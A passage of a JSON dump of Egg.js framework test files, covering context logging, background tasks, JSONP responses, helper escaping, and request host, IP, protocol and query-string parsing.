{\n      app = createApp('apps/demo');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should wait for middleware resolution', async () => {\n      const ctx = app.createAnonymousContext();\n      await (app as any).handleRequest(ctx, async (ctx: any) => {\n        await scheduler.wait(100);\n        ctx.body = 'middleware resolution';\n      });\n      assert(ctx.body === 'middleware resolution');\n    });\n  });\n\n  describe('app.keys', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = createApp('apps/demo');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should work for app.keys and app.keys=', async () => {\n      assert.deepEqual(app.keys, ['foo']);\n      // `app.keys=` will be ignored\n      // TypeError: Cannot set property keys of #<Application> which has only a getter\n      // app.keys = undefined;\n      // assert.deepEqual(app.keys, [ 'foo' ]);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/app/extend/context.jsonp.test.ts",
    "content": "import { describe, it, beforeAll, afterAll } from 'vitest';\n\nimport { createApp, type MockApplication } from '../../utils.js';\n\ndescribe('test/app/extend/context.jsonp.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(() => {\n    app = createApp('apps/demo');\n    return app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should response jsonp', () => {\n    return app\n      .httpRequest()\n      .get('/user.json?_callback=$jQuery110208780175377614796_1406016639408&ctoken=123')\n      .set('Cookie', 'ctoken=123')\n      .expect('Content-Type', 'application/javascript; charset=utf-8')\n      .expect('X-Content-Type-Options', 'nosniff')\n      .expect(\n        '/**/ typeof $jQuery110208780175377614796_1406016639408 === \\'function\\' && $jQuery110208780175377614796_1406016639408({\"name\":\"fengmk2\"});',\n      )\n      .expect(200);\n  });\n\n  it('should response json body when callback empty', () => {\n    return app\n      .httpRequest()\n      .get('/user.json?_callback=&ctoken=123')\n      .set('Cookie', 'ctoken=123')\n      .expect('Content-Type', 'application/json; charset=utf-8')\n      .expect('{\"name\":\"fengmk2\"}')\n      .expect(200);\n  });\n\n  it('should response json body when callback missing', () => {\n    return app\n      .httpRequest()\n      .get('/user.json?callback=&ctoken=123')\n      .set('Cookie', 'ctoken=123')\n      .expect('Content-Type', 'application/json; charset=utf-8')\n      .expect('{\"name\":\"fengmk2\"}')\n      .expect(200);\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/app/extend/context.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport fs from 'node:fs';\nimport path from 'node:path';\nimport { scheduler } from 'node:timers/promises';\n\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport {\n  createApp,\n  restore,\n  type MockApplication,\n  mm,\n  getFilepath,\n  singleProcessApp,\n  startLocalServer,\n} from '../../utils.ts';\n\ndescribe('test/app/extend/context.test.ts', () => {\n  afterEach(restore);\n  let app: MockApplication;\n\n  describe('ctx.logger', () => {\n    afterEach(() => app.close());\n\n    it.skip('env=local: level => info', async () => {\n      mm.env('local');\n      mm.consoleLevel('NONE');\n      app = createApp('apps/demo', { cache: false });\n      await app.ready();\n      const logDir = app.config.logger.dir;\n\n      await app.httpRequest().get('/logger?message=foo').expect('logger');\n\n      await scheduler.wait(1200);\n\n      const errorContent = fs.readFileSync(path.join(logDir, 'common-error.log'), 'utf8');\n      assert(errorContent.includes('nodejs.Error: error foo'));\n      assert(errorContent.includes('nodejs.Error: core error foo'));\n\n      const loggerContent = fs.readFileSync(path.join(logDir, 'demo-web.log'), 'utf8');\n      // loggerContent.should.containEql('debug foo');\n      assert(loggerContent.includes('info foo'));\n      assert(loggerContent.includes('warn foo'));\n\n      const coreLoggerContent = fs.readFileSync(path.join(logDir, 'egg-web.log'), 'utf8');\n      // coreLoggerContent.should.containEql('core debug foo');\n      assert(coreLoggerContent.includes('core info foo'));\n      assert(coreLoggerContent.includes('core warn foo'));\n    });\n\n    it.skip('env=unittest: level => info', async () => {\n      mm.env('unittest');\n      mm.consoleLevel('NONE');\n      app = createApp('apps/demo', { cache: false });\n      await app.ready();\n      const logDir = app.config.logger.dir;\n\n      app.mockContext({\n        userId: '123123',\n      });\n\n      await app.httpRequest().get('/logger?message=foo').expect('logger');\n\n      await scheduler.wait(1200);\n\n      const errorContent = fs.readFileSync(path.join(logDir, 'common-error.log'), 'utf8');\n      assert(errorContent.includes('nodejs.Error: error foo'));\n      assert(errorContent.includes('nodejs.Error: core error foo'));\n      assert.match(errorContent, /\\[123123\\/[\\d.]+\\/-\\/[\\d.]+ms GET \\/logger\\?message=foo]/);\n\n      const loggerContent = fs.readFileSync(path.join(logDir, 'demo-web.log'), 'utf8');\n      assert(!loggerContent.includes('debug foo'));\n      assert(loggerContent.includes('info foo'));\n      assert(loggerContent.includes('warn foo'));\n\n      const coreLoggerContent = fs.readFileSync(path.join(logDir, 'egg-web.log'), 'utf8');\n      assert(!coreLoggerContent.includes('core debug foo'));\n      assert(coreLoggerContent.includes('core info foo'));\n      assert(coreLoggerContent.includes('core warn foo'));\n    });\n\n    it.skip('env=prod: level => info', async () => {\n      mm.env('unittest');\n      mm.consoleLevel('NONE');\n      app = createApp('apps/demo', { cache: false });\n      await app.ready();\n      const logDir = app.config.logger.dir;\n\n      await app.httpRequest().get('/logger?message=foo').expect('logger');\n\n      await scheduler.wait(2000);\n\n      const errorContent = fs.readFileSync(path.join(logDir, 'common-error.log'), 'utf8');\n      assert(errorContent.includes('nodejs.Error: error foo'));\n      assert(errorContent.includes('nodejs.Error: core error foo'));\n\n      const loggerContent = fs.readFileSync(path.join(logDir, 'demo-web.log'), 'utf8');\n      assert(!loggerContent.includes('debug foo'));\n      assert(loggerContent.includes('info foo'));\n      assert(loggerContent.includes('warn foo'));\n\n      const coreLoggerContent = fs.readFileSync(path.join(logDir, 'egg-web.log'), 'utf8');\n      assert(!coreLoggerContent.includes('core debug foo'));\n      assert(coreLoggerContent.includes('core info foo'));\n      assert(coreLoggerContent.includes('core warn foo'));\n    });\n  });\n\n  describe('ctx.getLogger', () => {\n    beforeAll(() => {\n      app = createApp('apps/get-logger');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should return null when logger is not found', () => {\n      return app.httpRequest().get('/noExistLogger').expect('null');\n    });\n\n    it('should log with padding message', async () => {\n      await app.httpRequest().get('/logger').expect(200);\n\n      await scheduler.wait(100);\n      const logPath = getFilepath('apps/get-logger/logs/get-logger/a.log');\n      assert.match(fs.readFileSync(logPath, 'utf8'), /\\[-\\/127.0.0.1\\/-\\/[\\d.]+ms GET \\/logger] aaa/);\n    });\n  });\n\n  describe('app or framework can override ctx.getLogger', () => {\n    beforeAll(() => {\n      app = createApp('apps/custom-context-getlogger');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should log with custom logger', () => {\n      return app.httpRequest().get('/').expect('work, logger: exists');\n    });\n  });\n\n  describe('agent anonymous context can be extended', () => {\n    beforeAll(() => {\n      app = createApp('apps/custom-context-getlogger');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should extend context as app', () => {\n      const ctx = app.agent.createAnonymousContext();\n      const logger = ctx.getLogger('foo');\n      logger.info('hello');\n    });\n  });\n\n  describe('properties', () => {\n    beforeAll(() => {\n      app = createApp('apps/context-config-app');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    describe('ctx.router getter and setter', () => {\n      it('should work', () => {\n        return app.httpRequest().get('/').expect(200).expect('{\"path\":\"/\",\"foo\":1,\"bar\":2}');\n      });\n    });\n  });\n\n  describe('ctx.locals', () => {\n    beforeAll(() => {\n      app = createApp('apps/locals');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should same this.locals ref on every request ', () => {\n      return app.httpRequest().get('/ctx_same_ref').expect('true');\n    });\n\n    it('should this.locals merge app.locals data', () => {\n      return app.httpRequest().get('/ctx_merge_app').expect({\n        a: 1,\n        b: 1,\n      });\n    });\n\n    it('should this.locals cover app.locals data', () => {\n      return app.httpRequest().get('/ctx_override_app').expect({\n        a: 'ctx.a',\n        b: 'ctx.b',\n      });\n    });\n\n    it('should not change this.locals data when app.locals change again', () => {\n      return app.httpRequest().get('/ctx_app_update_can_not_affect_ctx').expect({\n        a: 'app.a',\n        b: 'app.b',\n        newPropertyExists: false,\n      });\n    });\n\n    it('should locals only support object format', () => {\n      return app.httpRequest().get('/set_only_support_object').expect({\n        'ctx.locals.object': true,\n        'app.locals.object': true,\n        'app.locals.string': false,\n        'app.locals.number': false,\n        'app.locals.function': false,\n        'app.locals.array': false,\n        'ctx.locals.string': false,\n        'ctx.locals.number': false,\n        'ctx.locals.function': false,\n        'ctx.locals.array': false,\n      });\n    });\n  });\n\n  describe('ctx.runInBackground(scope)', () => {\n    beforeAll(async () => {\n      app = createApp('apps/ctx-background');\n      await app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should run background task success', async () => {\n      await app.httpRequest().get('/').expect(200).expect('hello');\n      await app.backgroundTasksFinished();\n      await scheduler.wait(100);\n      const logDir = app.config.logger.dir;\n      const log = fs.readFileSync(path.join(logDir, 'ctx-background-web.log'), 'utf8');\n      assert(/background run result file size: \\d+/.test(log));\n      assert(/background run anonymous result file size: \\d+/.test(log));\n      assert(\n        /\\[egg:background] task:saveUserInfo success \\([\\d.]+ms\\)/.test(\n          fs.readFileSync(path.join(logDir, 'egg-web.log'), 'utf8'),\n        ),\n      );\n      assert(\n        /\\[egg:background] task:.*?app[/\\\\]controller[/\\\\]home\\.js:\\d+:\\d+ success \\([\\d.]+ms\\)/.test(\n          fs.readFileSync(path.join(logDir, 'egg-web.log'), 'utf8'),\n        ),\n      );\n    });\n\n    it('should use custom task name first', async () => {\n      await app.httpRequest().get('/custom').expect(200).expect('hello');\n      await app.backgroundTasksFinished();\n      await scheduler.wait(100);\n      const logDir = app.config.logger.dir;\n      const log = fs.readFileSync(path.join(logDir, 'ctx-background-web.log'), 'utf8');\n      assert(/background run result file size: \\d+/.test(log));\n      assert(\n        /\\[egg:background] task:customTaskName success \\([\\d.]+ms\\)/.test(\n          fs.readFileSync(path.join(logDir, 'egg-web.log'), 'utf8'),\n        ),\n      );\n    });\n\n    it('should run background task error', async () => {\n      mm.consoleLevel('NONE');\n\n      let errorHadEmit = false;\n      app.on('error', (err: any, ctx: any) => {\n        assert(err.runInBackground);\n        assert(/ENOENT: no such file or directory/.test(err.message));\n        assert(ctx);\n        errorHadEmit = true;\n      });\n      await app.httpRequest().get('/error').expect(200).expect('hello error');\n      await app.backgroundTasksFinished();\n      await scheduler.wait(100);\n      assert(errorHadEmit);\n      const lgoDir = app.config.logger.dir;\n      const log = fs.readFileSync(path.join(lgoDir, 'common-error.log'), 'utf8');\n      assert(/ENOENT: no such file or directory/.test(log));\n      assert(\n        /\\[egg:background] task:mockError fail \\([\\d.]+ms\\)/.test(\n          fs.readFileSync(path.join(lgoDir, 'egg-web.log'), 'utf8'),\n        ),\n      );\n    });\n\n    it('should always execute after setImmediate', async () => {\n      const res = await app.httpRequest().get('/sync').expect(200);\n      assert(Number(res.text) < 99);\n      await app.backgroundTasksFinished();\n    });\n  });\n\n  describe('ctx.runInBackground(scope) with single process mode', () => {\n    // ctx.runInBackground with @eggjs/mock are override\n    // single process mode will use the original ctx.runInBackground\n    let app: MockApplication;\n    beforeAll(async () => {\n      app = await singleProcessApp('apps/ctx-background');\n    });\n    afterAll(() => app.close());\n\n    it('should run background task success', async () => {\n      await app.httpRequest().get('/').expect(200).expect('hello');\n      // await scheduler.wait(1200);\n      // const logDir = app.config.logger.dir!;\n      // const log = fs.readFileSync(\n      //   path.join(logDir, 'ctx-background-web.log'),\n      //   'utf8'\n      // );\n      // assert(/background run result file size: \\d+/.test(log));\n      // assert(/background run anonymous result file size: \\d+/.test(log));\n      // assert(\n      //   /\\[egg:background] task:saveUserInfo success \\([\\d.]+ms\\)/.test(\n      //     fs.readFileSync(path.join(logDir, 'egg-web.log'), 'utf8')\n      //   )\n      // );\n      // assert(\n      //   /\\[egg:background] task:.*?app[/\\\\]controller[/\\\\]home\\.js:\\d+:\\d+ success \\([\\d.]+ms\\)/.test(\n      //     fs.readFileSync(path.join(logDir, 'egg-web.log'), 'utf8')\n      //   )\n      // );\n    });\n\n    it('should use custom task name first', async () => {\n      await app.httpRequest().get('/custom').expect(200).expect('hello');\n      // await scheduler.wait(1200);\n      // const logDir = app.config.logger.dir!;\n      // const log = fs.readFileSync(\n      //   path.join(logDir, 'ctx-background-web.log'),\n      //   'utf8'\n      // );\n      // assert(/background run result file size: \\d+/.test(log));\n      // assert(\n      //   /\\[egg:background] task:customTaskName success \\([\\d.]+ms\\)/.test(\n      //     fs.readFileSync(path.join(logDir, 'egg-web.log'), 'utf8')\n      //   )\n      // );\n    });\n\n    it.skip('should run background task error', async () => {\n      mm.consoleLevel('NONE');\n\n      let errorHadEmit = false;\n      app.on('error', (err, ctx) => {\n        assert(err.runInBackground);\n        assert(/ENOENT: no such file or directory/.test(err.message));\n        assert(ctx);\n        errorHadEmit = true;\n      });\n      await app.httpRequest().get('/error').expect(200).expect('hello error');\n      await scheduler.wait(1200);\n      assert(errorHadEmit);\n      const logDir = app.config.logger.dir!;\n      const log = fs.readFileSync(path.join(logDir, 'common-error.log'), 'utf8');\n      assert(/ENOENT: no such file or directory/.test(log));\n      assert(\n        /\\[egg:background] task:mockError fail \\([\\d.]+ms\\)/.test(\n          fs.readFileSync(path.join(logDir, 'egg-web.log'), 'utf8'),\n        ),\n      );\n    });\n  });\n\n  describe('tests on apps/demo', () => {\n    beforeAll(() => {\n      app = createApp('apps/demo');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    describe('ctx.curl()', () => {\n      it('should curl ok', async () => {\n        const localServer = await startLocalServer();\n        const context = app.mockContext();\n        const res = await context.curl(`${localServer}/foo/bar`);\n        assert(res.status === 200);\n      });\n\n      it('should curl as promise ok', () => {\n        return startLocalServer()\n          .then((localServer) => app.mockContext().curl(`${localServer}/foo/bar`))\n          .then((res) => assert(res.status === 200));\n      });\n    });\n\n    describe('ctx.httpclient', () => {\n      it('should only one httpclient on one ctx', async () => {\n        const ctx = app.mockContext();\n        const httpclient = ctx.httpclient;\n        assert(ctx.httpclient === httpclient);\n        assert(typeof ctx.httpclient.request === 'function');\n        assert(typeof ctx.httpclient.curl === 'function');\n      });\n\n      it('should httpclient alias to httpClient', async () => {\n        const ctx = app.mockContext();\n        assert.equal(ctx.httpclient, ctx.httpClient);\n      });\n    });\n\n    describe('ctx.realStatus', () => {\n      it('should get from status ok', () => {\n        const context = app.mockContext();\n        context.status = 200;\n        assert(context.realStatus === 200);\n      });\n\n      it('should get from realStatus ok', () => {\n        const context = app.mockContext();\n        context.status = 302;\n        context.realStatus = 500;\n        assert(context.realStatus === 500);\n      });\n    });\n\n    describe('ctx.state', () => {\n      it('should delegate ctx.locals', () => {\n        const context = app.mockContext() as any;\n        context.locals = { a: 'a', b: 'b' };\n        context.state = { a: 'aa', c: 'cc' };\n        assert.equal(context.state.a, 'aa');\n        assert.equal(context.state.b, 'b');\n        assert.equal(context.state.c, 'cc');\n        assert.deepEqual(Object.keys(context.state), ['__', 'gettext', 'a', 'b', 'c']);\n        assert(context.state === context.locals);\n      });\n    });\n\n    describe('ctx.ip', () => {\n      it('should get current request ip', () => {\n        return app.httpRequest().get('/ip').expect(200).expect({\n          ip: '127.0.0.1',\n        });\n      });\n\n      it('should set current request ip', () => {\n        return app.httpRequest().get('/ip?set_ip=10.2.2.2').expect(200).expect({\n          ip: '10.2.2.2',\n        });\n      });\n    });\n\n    describe('get helper()', () => {\n      it('should be the same helper instance', () => {\n        const ctx = app.mockContext();\n        const helper = ctx.helper;\n        assert(ctx.helper === helper);\n      });\n    });\n\n    describe('getLogger()', () => {\n      it('should return null when logger name not exists', () => {\n        const ctx = app.mockContext();\n        assert(ctx.getLogger('not-exist-logger') === null);\n      });\n\n      it('should return same logger instance', () => {\n        const ctx = app.mockContext();\n        const logger = ctx.getLogger('coreLogger');\n        assert(ctx.getLogger('coreLogger') === logger);\n      });\n    });\n\n    describe('get router()', () => {\n      it('should alias to app.router', () => {\n        const ctx = app.mockContext();\n        assert.equal(ctx.router, app.router);\n      });\n\n      it('should work with setter app.router', () => {\n        const ctx = app.mockContext();\n        (ctx as any).router = 'router';\n        assert.equal(ctx.router, 'router');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/app/extend/helper.test.ts",
    "content": "import { describe, it, beforeAll, afterAll } from 'vitest';\n\nimport { createApp, type MockApplication } from '../../utils.ts';\n\ndescribe('test/app/extend/helper.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = createApp('apps/helper');\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  describe('pathFor()', () => {\n    it('should get home path url', async () => {\n      await app.httpRequest().get('/pathFor').expect('/home').expect(200);\n    });\n\n    it('should get home path with params', async () => {\n      await app.httpRequest().get('/pathFor?foo=bar').expect('/home?foo=bar').expect(200);\n    });\n  });\n\n  describe('urlFor()', () => {\n    it('should get full home url', async () => {\n      await app\n        .httpRequest()\n        .get('/urlFor')\n        .expect(/^http:\\/\\/127\\.0\\.0\\.1:\\d+\\/home$/)\n        .expect(200);\n    });\n\n    it('should get full home url with params', async () => {\n      await app\n        .httpRequest()\n        .get('/urlFor?foo=1')\n        .expect(/^http:\\/\\/127\\.0\\.0\\.1:\\d+\\/home\\?foo=1$/)\n        .expect(200);\n    });\n  });\n\n  describe('escape()', () => {\n    it('should escape script', async () => {\n      await app.httpRequest().get('/escape').expect('&lt;script&gt;').expect(200);\n    });\n  });\n\n  describe('shtml()', () => {\n    it('should ignore attribute if domain not in domainWhiteList', async () => {\n      await app.httpRequest().get('/shtml-not-in-domain-whitelist').expect('true').expect(200);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/egg/test/app/extend/request.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport { once } from 'node:events';\nimport type { AddressInfo } from 'node:net';\n\nimport urllib from 'urllib';\nimport { describe, it, beforeAll, afterAll, afterEach, beforeEach } from 'vitest';\n\nimport { createApp, type MockApplication, restore, mm } from '../../utils.ts';\n\ndescribe('test/app/extend/request.test.ts', () => {\n  describe('normal', () => {\n    let app: MockApplication;\n    let ctx;\n    let req: any;\n    beforeAll(() => {\n      app = createApp('apps/demo');\n      return app.ready();\n    });\n    afterAll(() => app.close());\n    beforeEach(() => {\n      ctx = app.mockContext();\n      req = ctx.request;\n    });\n    afterEach(restore);\n\n    describe('req.host', () => {\n      it('should return host with port', () => {\n        mm(req.header, 'host', 'foo.com:3000');\n        assert(req.hostname === 'foo.com');\n      });\n\n      it('should return \"\" when no host present', () => {\n        assert(typeof req.host === 'string');\n        assert(req.host === '');\n      });\n\n      it('should not allow X-Forwarded-Host header', () => {\n        mm(app.config, 'proxy', true);\n        mm(req.header, 'x-forwarded-host', 'foo.com');\n        mm(req.header, 'host', 'bar.com');\n        assert(typeof req.host === 'string');\n        assert(req.host === 'bar.com');\n      });\n\n      it('should return host from Host header when proxy=false', () => {\n        mm(app.config, 'proxy', false);\n        mm(req.header, 'x-forwarded-host', 'foo.com');\n        mm(req.header, 'host', 'bar.com');\n        assert(typeof req.host === 'string');\n        assert(req.host === 'bar.com');\n      });\n\n      it('should custom hostHeaders', () => {\n        mm(app.config, 'proxy', true);\n        mm(app.config, 'hostHeaders', 'x-forwarded-host');\n        mm(req.header, 'x-forwarded-host', 'foo.com');\n        mm(req.header, 'host', 'bar.com');\n        assert(typeof req.host === 'string');\n        assert(req.host === 'foo.com');\n      });\n    });\n\n    describe('req.hostname', () => {\n      it('should return hostname with port', () => {\n        mm(req.header, 'host', 'foo.com:3000');\n        assert(req.hostname === 'foo.com');\n      });\n\n      it('should return \"\" when no host present', () => {\n        assert(typeof req.hostname === 'string');\n        assert(req.hostname === '');\n      });\n    });\n\n    describe('req.ip', () => {\n      it('should return ipv4', () => {\n        mm(req.socket, 'remoteAddress', '::ffff:127.0.0.1');\n        assert(req.ip === '127.0.0.1');\n        assert(req.ip === '127.0.0.1');\n      });\n\n      it('should work with proxy', () => {\n        mm(req.socket, 'remoteAddress', '::ffff:127.0.0.1');\n        mm(req.header, 'x-forwarded-for', '127.0.0.1, 127.0.0.2, 127.0.0.3');\n        mm(app.config, 'proxy', true);\n        mm(app.config, 'maxProxyCount', 1);\n        assert(req.ip === '127.0.0.2');\n      });\n    });\n\n    describe('req.ips', () => {\n      it('should used x-forwarded-for', () => {\n        mm(req.header, 'x-forwarded-for', '127.0.0.1,127.0.0.2,127.0.0.3');\n        assert.deepEqual(req.ips, ['127.0.0.1', '127.0.0.2', '127.0.0.3']);\n      });\n\n      it('should used work with maxProxyCount', () => {\n        mm(req.header, 'x-forwarded-for', '127.0.0.1,127.0.0.2,127.0.0.3');\n        mm(app.config, 'maxProxyCount', 1);\n        assert.deepEqual(req.ips, ['127.0.0.2', '127.0.0.3']);\n      });\n\n      it('should used work with maxIpsCount', () => {\n        mm(req.header, 'x-forwarded-for', '127.0.0.1,127.0.0.2,127.0.0.3');\n        mm(app.config, 'maxIpsCount', 1);\n        assert.deepEqual(req.ips, ['127.0.0.3']);\n      });\n\n      it('should used x-real-ip', () => {\n        mm(app.config, 'ipHeaders', 'X-Forwarded-For, X-Real-IP');\n        mm(req.header, 'x-forwarded-for', '');\n        mm(req.header, 'x-real-ip', '127.0.0.1,127.0.0.2');\n        assert.deepEqual(req.ips, ['127.0.0.1', '127.0.0.2']);\n      });\n\n      it('should return []', () => {\n        mm(req.header, 'x-forwarded-for', '');\n        mm(req.header, 'x-real-ip', '');\n        assert.deepEqual(req.ips, []);\n      });\n\n      it('should return [] when proxy=false', () => {\n        mm(app.config, 'proxy', false);\n        mm(req.header, 'x-forwarded-for', '127.0.0.1,127.0.0.2');\n        assert.deepEqual(req.ips, []);\n      });\n    });\n\n    describe('req.protocol', () => {\n      it('should return http when it not config and no protocol header', () => {\n        mm(app.config, 'protocol', null);\n        return app.httpRequest().get('/protocol').expect('http');\n      });\n\n      it('should return value of X-Custom-Proto', () => {\n        mm(app.config, 'protocolHeaders', 'X-Forwarded-Proto, X-Custom-Proto');\n        return app.httpRequest().get('/protocol').set('X-Custom-Proto', 'https').expect('https');\n      });\n\n      it('should ignore X-Client-Scheme', () => {\n        mm(app.config, 'protocolHeaders', 'X-Forwarded-Proto');\n        return app.httpRequest().get('/protocol').set('X-Client-Scheme', 'https').expect('http');\n      });\n\n      it('should return value of X-Forwarded-Proto', () => {\n        return app.httpRequest().get('/protocol').set('x-forwarded-proto', 'https').expect('https');\n      });\n\n      it('should ignore X-Forwarded-Proto when proxy=false', () => {\n        mm(app.config, 'proxy', false);\n        return app.httpRequest().get('/protocol').set('x-forwarded-proto', 'https').expect('http');\n      });\n\n      it('should ignore X-Forwarded-Proto', () => {\n        mm(app.config, 'protocolHeaders', '');\n        return app.httpRequest().get('/protocol').set('x-forwarded-proto', 'https').expect('http');\n      });\n\n      it('should return value from config', () => {\n        mm(app.config, 'protocol', 'https');\n        return app.httpRequest().get('/protocol').expect('https');\n      });\n\n      it('should return value from socket.encrypted', () => {\n        const ctx = app.mockContext();\n        (ctx.request as any).socket.encrypted = true;\n        assert.equal(ctx.request.protocol, 'https');\n      });\n    });\n\n    describe('this.query && this.queries can be modified', () => {\n      it('should success with querystring present', () => {\n        req.querystring = 'a=a&b=b1&b=b2';\n        assert.deepEqual(req.query, { a: 'a', b: 'b1' });\n        assert.deepEqual(req.queries, { a: ['a'], b: ['b1', 'b2'] });\n        req.query.a = 'aa';\n        req.queries.b = ['bb'];\n        assert.deepEqual(req.query, { a: 'aa', b: 'b1' });\n        assert.deepEqual(req.queries, { a: ['a'], b: ['bb'] });\n      });\n\n      it('should success with empty querystring', () => {\n        req.querystring = '';\n        assert.deepEqual(req.query, {});\n        assert.deepEqual(req.queries, {});\n        req.query.a = 'aa';\n        req.queries.b = ['bb'];\n        assert.deepEqual(req.query, { a: 'aa' });\n        assert.deepEqual(req.queries, { b: ['bb'] });\n      });\n    });\n\n    describe('this.query[key] => String', () => {\n      function expectQuery(querystring: any, query: any) {\n        mm(req, 'querystring', querystring);\n        assert.deepEqual(req.query, query);\n        mm.restore();\n      }\n\n      it('should get string value', () => {\n        expectQuery('=b', {});\n        expectQuery('a=b', { a: 'b' });\n        expectQuery('a=&', { a: '' });\n        expectQuery('a=b&', { a: 'b' });\n        expectQuery('a.=b', { 'a.': 'b' });\n        expectQuery('a=b&a=c', { a: 'b' });\n        expectQuery('a=&a=c', { a: '' });\n        expectQuery('a=c&a=b', { a: 'c' });\n        expectQuery('a=c&a=b&b=bb', { a: 'c', b: 'bb' });\n        expectQuery('a[=c&a[=b', { 'a[': 'c' });\n        expectQuery('a{=c&a{=b', { 'a{': 'c' });\n        expectQuery('a[]=c&a[]=b', { 'a[]': 'c' });\n        expectQuery('a[]=&a[]=b', { 'a[]': '' });\n        expectQuery('a[foo]=c', { 'a[foo]': 'c' });\n        expectQuery('a[foo][bar]=c', { 'a[foo][bar]': 'c' });\n        expectQuery('a=', { a: '' });\n        expectQuery('a[]=a&a=b&a=c', { 'a[]': 'a', a: 'b' });\n      });\n\n      it('should get undefined when key not exists', () => {\n        expectQuery('a=b', { a: 'b' });\n      });\n    });\n\n    describe('this.queries[key] => Array', () => {\n      function expectQueries(querystring: any, query: any) {\n        mm(req, 'querystring', querystring);\n        assert.deepEqual(req.queries, query);\n        mm.restore();\n      }\n\n      it('should get array value', () => {\n        expectQueries('', {});\n        expectQueries('a=', { a: [''] });\n        expectQueries('a=&', { a: [''] });\n        expectQueries('a=b&', { a: ['b'] });\n        expectQueries('a.=', { 'a.': [''] });\n        expectQueries('a=&a=&a=&a=&a=&a=&a=&a=', {\n          a: ['', '', '', '', '', '', '', ''],\n        });\n        expectQueries('a=&a=&a=&a=&a=&a=&a=&a=&', {\n          a: ['', '', '', '', '', '', '', ''],\n        });\n        expectQueries('a=&a=&a=&a=&a=&a=&a=&a=&&&&', {\n          a: ['', '', '', '', '', '', '', ''],\n        });\n        expectQueries('a=b', { a: ['b'] });\n        expectQueries('a={}', { a: ['{}'] });\n        expectQueries('a=[]', { a: ['[]'] });\n        expectQueries('a[]=[]', { 'a[]': ['[]'], a: ['[]'] });\n        expectQueries('a[]=&a[]=', { 'a[]': ['', ''], a: ['', ''] });\n        expectQueries('a[]=[]&a[]=[]', {\n          'a[]': ['[]', '[]'],\n          a: ['[]', '[]'],\n        });\n        expectQueries('a=b&a=c', { a: ['b', 'c'] });\n        expectQueries('a=&a=c', { a: ['', 'c'] });\n        expectQueries('a=c&a=b', { a: ['c', 'b'] });\n        expectQueries('a=c&a=b&b=bb', { a: ['c', 'b'], b: ['bb'] });\n        expectQueries('a[=c&a[=b', { 'a[': ['c', 'b'] });\n        expectQueries('a{=c&a{=b', { 'a{': ['c', 'b'] });\n        expectQueries('a[]=c&a[]=b', { 'a[]': ['c', 'b'], a: ['c', 'b'] });\n        expectQueries('a[]=&a[]=b', { 'a[]': ['', 'b'], a: ['', 'b'] });\n        expectQueries('a[]=&a[]=b&a=foo', { 'a[]': ['', 'b'], a: ['foo'] });\n        expectQueries('a=bar&a[]=&a[]=b&a=foo', {\n          'a[]': ['', 'b'],\n          a: ['bar', 'foo'],\n        });\n\n        // 'a[][]' doesn't support converting to 'a'\n        expectQueries('a[][]=&a[][]=b', { 'a[][]': ['', 'b'] });\n        expectQueries('a][]=&a][]=b', { 'a][]': ['', 'b'] });\n        expectQueries('a[[]=&a[[]=b', { 'a[[]': ['', 'b'] });\n        expectQueries('[]=&[]=b', { '[]': ['', 'b'] });\n\n        // 'a[]' only returns the last value when mixed with others\n        expectQueries('a[]=a&a=b&a=c', { 'a[]': ['a'], a: ['b', 'c'] });\n\n        // object\n        expectQueries('a[foo]=c', { 'a[foo]': ['c'] });\n        expectQueries('a[foo]=c&a=b', { 'a[foo]': ['c'], a: ['b'] });\n        expectQueries('a[foo]=c&a=b&b=bb&d=d1&d=d2', {\n          'a[foo]': ['c'],\n          a: ['b'],\n          b: ['bb'],\n          d: ['d1', 'd2'],\n        });\n        expectQueries('a[foo]=c&a[]=b&a[]=d', {\n          'a[foo]': ['c'],\n          'a[]': ['b', 'd'],\n          a: ['b', 'd'],\n        });\n        expectQueries('a[foo]=c&a[]=b&a[]=d&c=cc&c=c2&c=', {\n          'a[foo]': ['c'],\n          'a[]': ['b', 'd'],\n          a: ['b', 'd'],\n          c: ['cc', 'c2', ''],\n        });\n        expectQueries('a[foo][bar]=c', {\n          'a[foo][bar]': ['c'],\n        });\n      });\n\n      it('should get undefined when key not exists', () => {\n        expectQueries('a=b', { a: ['b'] });\n      });\n    });\n\n    describe('this.query = obj', () => {\n      it('should set query with object', () => {\n        mm(req, 'querystring', 'a=c');\n        assert.deepEqual(req.query, { a: 'c' });\n        req.query = {};\n        assert.deepEqual(req.query, {});\n        assert(req.querystring === '');\n\n        req.query = { foo: 'bar' };\n        assert.deepEqual(req.query, { foo: 'bar' });\n        assert(req.querystring === 'foo=bar');\n\n        req.query = { array: [1, 2] };\n        assert.deepEqual(req.query, { array: '1' });\n        assert(req.querystring === 'array=1&array=2');\n      });\n    });\n\n    describe('request.acceptJSON', () => {\n      it('should true when url path ends with .json', async () => {\n        mm(req, 'path', 'hello.json');\n        assert(req.acceptJSON === true);\n      });\n\n      it('should true when response is json', async () => {\n        const context = app.mockContext(\n          {\n            headers: {\n              accept: 'text/html',\n            },\n            url: '/',\n          },\n          { reuseCtxStorage: false },\n        );\n        context.type = 'application/json';\n        assert(context.request.acceptJSON === true);\n      });\n\n      it('should true when accept json', async () => {\n        const context = app.mockContext(\n          {\n            headers: {\n              accept: 'application/json',\n            },\n            url: '/',\n          },\n          { reuseCtxStorage: false },\n        );\n        assert.equal(context.request.acceptJSON, true);\n      });\n\n      it('should false when do not accept json', async () 